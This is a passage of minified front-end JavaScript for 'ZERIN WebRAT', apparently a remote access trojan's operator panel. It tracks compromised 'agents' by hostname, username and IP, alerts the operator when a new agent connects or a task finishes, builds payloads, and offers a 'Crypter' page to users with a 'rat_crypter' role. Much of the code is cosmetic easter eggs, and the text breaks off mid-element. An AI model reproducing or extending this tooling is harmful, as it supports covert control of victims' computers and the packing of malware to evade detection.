e=p.useSyncExternalStore(BE,FE),t=p.useCallback(()=>{ii()},[]),n=p.useCallback(()=>{Lo(),ii()},[]),r=e?WE():null;return{isAuthenticated:e,token:Ze(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class UE extends p.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?s.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),s.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function VE(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,a]=p.useState(!1),[o,l]=p.useState(null),c=p.useRef(null),u=p.useRef(0),d=p.useRef(),f=p.useRef(t);f.current=t;const m=p.useCallback(()=>{const x=Ze();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{a(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(a(!1),c.current=null,u.current{m()},w)}else Lo(),ii()},v.onerror=()=>{v.close()}},[n,r]),h=p.useCallback(()=>{u.current=0,m()},[m]);return p.useEffect(()=>(m(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[m]),{isConnected:i,lastMessage:o,reconnect:h}}const _f="zerin_notifications_enabled";function HE(){const[e,t]=p.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=p.useState(()=>localStorage.getItem(_f)==="true");p.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=p.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(_f,"true"))},[]),a=p.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(_f,String(c)),c})},[]),o=p.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:a,notify:o,isSupported:typeof Notification<"u"}}const Of="zerin-uwu-mode",gg=20,KE=3e3;function qE(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),a=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.05,t+.04),a.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(a).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function YE(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function GE(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function XE(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const yg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],bg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function ZE(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(a){const f=yg[Math.floor(Math.random()*yg.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const f=bg[Math.floor(Math.random()*bg.length)],m=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${m}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const wg=["❤️","💖","💗","💕","♥️","🌸"];let jg=0;function QE(e,t){const n=Date.now();if(n-jg<60)return;jg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=wg[Math.floor(Math.random()*wg.length)];const i=(Math.random()-.5)*24,a=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${a}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function kg(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function Ng(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const Sg=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function JE(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=Sg[Math.floor(Math.random()*Sg.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function eA(){const[e,t]=p.useState(()=>{try{return localStorage.getItem(Of)==="true"}catch{return!1}}),n=p.useRef(0),r=p.useRef();p.useEffect(()=>{const a=document.documentElement.classList;return e?(a.add("femboy-theme"),kg()):(a.remove("femboy-theme"),Ng()),()=>{a.remove("femboy-theme"),Ng()}},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{ZE(o.clientX,o.clientY)};return document.addEventListener("click",a,!0),()=>document.removeEventListener("click",a,!0)},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{QE(o.clientX,o.clientY)};return document.addEventListener("mousemove",a),()=>document.removeEventListener("mousemove",a)},[e]),p.useEffect(()=>{if(!e)return;const a=()=>{JE(),o=setTimeout(a,8e3+Math.random()*7e3)};let o=setTimeout(a,3e3);return()=>clearTimeout(o)},[e]);const i=p.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},KE),e){if(n.current>=gg){n.current=0,t(!1);try{localStorage.removeItem(Of)}catch{}YE()}return}if(n.current>=15&&GE(n.current-14),n.current>=gg){n.current=0,t(!0);try{localStorage.setItem(Of,"true")}catch{}qE(),XE(),kg()}},[e]);return{isActive:e,handleStatusClick:i}}const zg=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function tA(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),a=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.08,t+.1),a.gain.setValueAtTime(.08,t+.8),a.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(a).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function nA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function rA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,a=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${a}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let Cg=0,Tf=0;function iA(e,t){const n=Date.now();if(n-Cg<40)return;Cg=n,Tf=(Tf+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=Tf<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function aA(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,a=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${a}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function sA(){const[e,t]=p.useState(!1),n=p.useRef([]),r=p.useRef();return p.useEffect(()=>{function i(a){var u,d;const o=(u=a.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=a.target)!=null&&d.isContentEditable)return;const l=a.key.length===1?a.key.toLowerCase():a.key;n.current.push(l);const c=zg.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);zg.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?nA():(tA(),rA()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),p.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),p.useEffect(()=>{if(!e)return;const i=a=>iA(a.clientX,a.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),p.useEffect(()=>{if(!e)return;const i=()=>{aA(),a=setTimeout(i,5e3+Math.random()*5e3)};let a=setTimeout(i,2e3);return()=>clearTimeout(a)},[e]),{isActive:e}}const oA={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},lA={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},cA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},uA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},dA={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function Ku({status:e,size:t="md",showLabel:n=!1}){return s.jsxs("span",{className:"inline-flex items-center gap-2",children:[s.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block rounded-full ${oA[t]} ${cA[e]}`})]}),n&&s.jsx("span",{className:`font-mono font-medium tracking-wider ${lA[t]} ${uA[e]}`,children:dA[e]})]})}function fA({open:e,onClose:t,agents:n}){const[r,i]=p.useState(""),[a,o]=p.useState(0),l=p.useRef(null),c=Qn(),u=p.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(m=>m.hostname.toLowerCase().includes(f)||m.username.toLowerCase().includes(f)||m.internal_ip.includes(f)||m.external_ip.includes(f)||m.id.toLowerCase().includes(f)).slice(0,10).map(m=>({type:"agent",id:m.id,primary:m.hostname,secondary:`${m.username} — ${m.internal_ip}`,agent:m}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);p.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),p.useEffect(()=>{o(0)},[r]);const d=p.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return p.useEffect(()=>{if(!e)return;function f(m){if(m.key==="Escape"){t();return}m.key==="ArrowDown"&&(m.preventDefault(),o(h=>Math.min(h+1,u.length-1))),m.key==="ArrowUp"&&(m.preventDefault(),o(h=>Math.max(h-1,0))),m.key==="Enter"&&u[a]&&(m.preventDefault(),d(u[a]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,a,t,d]),e?s.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[s.jsx("div",{className:"absolute inset-0 bg-black/60"}),s.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),s.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),s.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?s.jsx("div",{className:"px-4 py-8 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):s.jsxs("div",{className:"py-1",children:[!r&&s.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,m)=>s.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(m),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${m===a?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&s.jsx(Ku,{status:f.agent.status,size:"sm"}),s.jsxs("div",{className:"min-w-0 flex-1",children:[s.jsx("p",{className:`text-sm font-medium truncate ${m===a?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),s.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),s.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let Fi={status:"idle",payloadName:"",startedAt:0,error:""};const lm=new Set;function qu(){lm.forEach(e=>e())}function Zj(){return Fi}function Qj(e){return lm.add(e),()=>lm.delete(e)}function pA(e){Fi={status:"building",payloadName:e,startedAt:Date.now(),error:""},qu()}function mA(){Fi={...Fi,status:"success"},qu()}function Pg(e){Fi={...Fi,status:"error",error:e},qu()}function Eg(){Fi={status:"idle",payloadName:"",startedAt:0,error:""},qu()}const Yu=p.createContext({lastMessage:null}),hA=[{to:"/dashboard",label:"Dashboard",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})}],xA={to:"/crypter",label:"Crypter",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},vA={to:"/admin",label:"Admin",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function gA(){const e=p.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return s.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>s.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function yA(){const{logout:e,isAdmin:t}=Xa(),r=p.useSyncExternalStore(Qj,Zj).status==="building",a=Uj()==="rat_crypter"||t,o=[...hA,...a?[xA]:[],...t?[vA]:[]],l=Qn(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:m,isSupported:h}=HE(),[x,g]=p.useState(!1),[y,v]=p.useState([]),{isActive:b,handleStatusClick:w}=eA(),{isActive:j}=sA(),[k,S]=p.useState(!1),N=p.useRef(""),z=p.useRef(null);p.useEffect(()=>{function U(K){var I,F;if(k||K.ctrlKey||K.metaKey||K.altKey)return;const R=(I=K.target)==null?void 0:I.tagName;R==="INPUT"||R==="TEXTAREA"||R==="SELECT"||(F=K.target)!=null&&F.isContentEditable||K.key.length===1&&(N.current+=K.key.toLowerCase(),N.current.length>20&&(N.current=N.current.slice(-10)),z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{N.current=""},3e3),N.current.includes("credits")&&(N.current="",S(!0)))}return window.addEventListener("keydown",U),()=>window.removeEventListener("keydown",U)},[k]),p.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const O=p.useCallback(async()=>{try{const U=await Hj();v(U)}catch{}},[]);p.useEffect(()=>{O();const U=setInterval(O,15e3);return()=>clearInterval(U)},[O]);const _=p.useCallback(U=>{if(U.type==="agent_update"){const K=U.payload;v(R=>{const I=R.findIndex(F=>F.id===K.id);if(I>=0){const F=[...R];return F[I]=K,F}return m("New Agent Connected",`${K.hostname} (${K.internal_ip})`),[K,...R]})}if(U.type==="event"){const K=U.payload;(K.type==="task_completed"||K.type==="task_failed")&&m("Task Update",K.message)}},[m]),{isConnected:T,lastMessage:E}=VE({onMessage:_});return p.useEffect(()=>{function U(K){(K.metaKey||K.ctrlKey)&&K.key==="k"&&(K.preventDefault(),g(R=>!R))}return window.addEventListener("keydown",U),()=>window.removeEventListener("keydown",U)},[]),s.jsx(Yu.Provider,{value:{lastMessage:E},children:s.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[s.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[s.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:s.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"femboy-ear femboy-ear-left"}),s.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),s.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),s.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),s.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Search..."}),s.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),s.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:U,label:K,icon:R})=>s.jsx(cE,{to:U,end:U==="/dashboard",className:({isActive:I})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${I?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:I})=>s.jsxs(s.Fragment,{children:[I&&s.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),s.jsx("span",{className:I?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:R}),s.jsx("span",{className:"font-medium",children:K}),U==="/payloads"&&r&&s.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},U))}),s.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&s.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),s.jsx("span",{className:"flex-1 